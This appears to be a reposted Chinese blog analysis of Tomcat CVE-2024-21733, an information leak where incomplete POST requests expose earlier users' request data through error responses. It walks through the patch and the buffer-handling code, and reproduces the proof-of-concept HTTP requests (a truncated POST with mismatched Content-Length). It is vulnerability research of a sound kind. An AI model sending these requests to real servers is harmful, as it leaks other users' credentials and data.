Tomcat信息泄漏(CVE-2024-21733)漏洞分析
Tomcat
(CVE-2024-21733)漏洞是由xer0dayz
于2023年12月20日报告给Apache Tomcat
安全团队。该漏洞在某些情况下会泄漏其他用户请求中的敏感信息,漏洞最终于2024年1月19日公开披露。本文将对该漏洞的原理进行分析。
漏洞描述
首先来看下Tomcat
的官方漏洞通告中对该漏洞的相关披露信息:
Incomplete post requests triggered an error response that could contain data from a previous request from another user.
不完整的POST请求触发的错误中可能包含先前其他用户的请求数据。
在对该漏洞进行补丁的Commit
中的ChangeLog,xml
有这样的描述:
Ensure that the ReadListener's onError() event is triggered if the client closes the connection before sending the entire request body and the server is ready the request body using non-blocking I/O
当客户端在发送完整请求体之前关闭了连接,若此时服务器在使用非阻塞I/O,确保
ReadListener
的onError()
事件触发。
在tomcat
中负责处理最底层的socket
请求以及解析http
协议的是tomcat-coyote
。
我们再对照下针对该漏洞发布的补丁:
这个补丁其实也非常的简单,就是对coyote
中的Http11InputBuffer.java
类的fill()
方法添加了finally
逻辑,并且将原先用来重设缓冲区访问限制的代码byteBuffer.limit()
置于该逻辑内。
正常情况是如何处理请求的?
以上我们已经了解到了,漏洞的关键点可能跟byteBuffer
有关系,那么重点调试跟进byteBuffer
这个变量。
先来发送个正常的POST
请求,看看正常情况下的执行逻辑。
POST /webwar/hello HTTP/1.1
Host: 192.168.168.1:8081
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
name=ABC
在Http11Processor
类中的Service
方法,在Tomcat
接收到socket
请求后,如果状态是OPEN_READ
,那么首先进行处理的就是这个方法。
在Http11Processor#Service
方法中调用的setSocketWrapper
方法,将会初始化Http11InputBuffer
。
跟进inputBuffer.init
,这个方法会检查byteBuffer
,在tomcat
启动后首次接到http
请求时会初始化byteBuffer
。若非首次请求,那么此时变量中的内容就是上次http
请求的数据
跟回到service
方法里,之后会调用Http11InputBuffer#parseRequestLine
方法尝试去解析当前的请求头,该方法紧接就会调用到我们重点关注的fill()
方法,该方法中设置缓冲区限制后,会异步从socket
中读取数据到byteBuffer
里,当读取到的数据大于0,也就是读取成功时返回true
之后呢就是一系列将数据解析为http
格式的操作了,暂时没什么可说的,直接跟到Request
类中处理Content-Length
的代码。
如果是POST
请求,tomcat
到这里已经把提交的表单数据解析到postData
中,并赋值给了formData
,这里的postData
中是上次请求的信息。
进入readPostBody
方法,从formData
中按照Content-Length
值读取特定字节的POST
请求数据。
之后就进入处理POST请求参数的逻辑中了,此时会再次调用parseRequestLine#fill
方法去异步读取数据,但这个时候没有数据可以读了,所以会抛出EOFException
,表示完成请求解析,之后就是构造对应响应请求返回给客户端。
在完成响应后对存放有请求数据的byteBuffer
进行回收。
漏洞分析
直接下断点到fill()
方法上,先发送一个要被走私的http
请求包,假设包含了敏感信息。
POST /webwar/hello HTTP/1.1
Host: 192.168.168.1:8081
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
name=ThisIsMySecret&password=123456
再发送漏洞利用的请求包
POST /webwar/hello HTTP/1.1
Host: 192.168.168.1:8081
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length:4
N
到这里读取到的请求是覆盖到byteBuffer中的,也就是说它是包含上次请求信息的。
byteBuffer.limit(byteBuffer.position()).reset();
这行代码对可访问的数据边界进行了设置。
我们并不能直接读取未覆盖的数据,因为刚刚设置byteBuffer
的limit
限制了读取的大小只能为当前请求的最大字节,超过会提示越界。
但如果我们发送的数据是不完整的,像POC中Content-Length
要发送的数据是4字节,但是实际上只发送了1个字节数据,那么这个时候tomcat
会非异步去读取后续请求,这里最多等待20秒,后续会进入到finally
这个逻辑里
最终会抛出SocketTimeoutException
,在SocketTimeout
后又会再次走到parseRequestLine
方法里,此时会继续从byteBuffer
读取,但问题是异常抛出后并没有像正常流程中对byteBuffer
进行限制,这就导致了能够读取到其他用户上次请求的数据。
最终也就导致了是以我们Content-Length
参数加三(走私的三个字节)的位置读取的数据。
并且由于读取不到正常的请求定界符,tomcat
会将其视为畸形请求包并抛出400
异常信息,某些情况下可能打印到前端的信息中除了调用栈还有触发点详细的字符串,这些字符串中就包含了敏感信息。
但是我搜索后并没有找到任何有效的设置像下图中能够将导致Exception
回显给前端的配置方法。
最后无奈,修改tomcat
配置文件conf/logging.properties
,使其体现在log里。
org.apache.coyote.http11.Http11Processor.service.level = FINE
查看catalina
日志,就可以看到触发漏洞后抛出的敏感信息了。
总结
总的来说这个漏洞被实际利用的条件相对较高,我个人感觉学习的价值大于漏洞实际危害,但也不失为某些场景中的特定利用方法,毕竟这个漏洞在HackerOne
上有案例被人拿到四千多刀赏金的。。。
引用
Apache Tomcat vulnerabilities
Java ByteBuffer document
原文始发于微信公众号(云黑客):Tomcat信息泄漏(CVE-2024-21733)漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论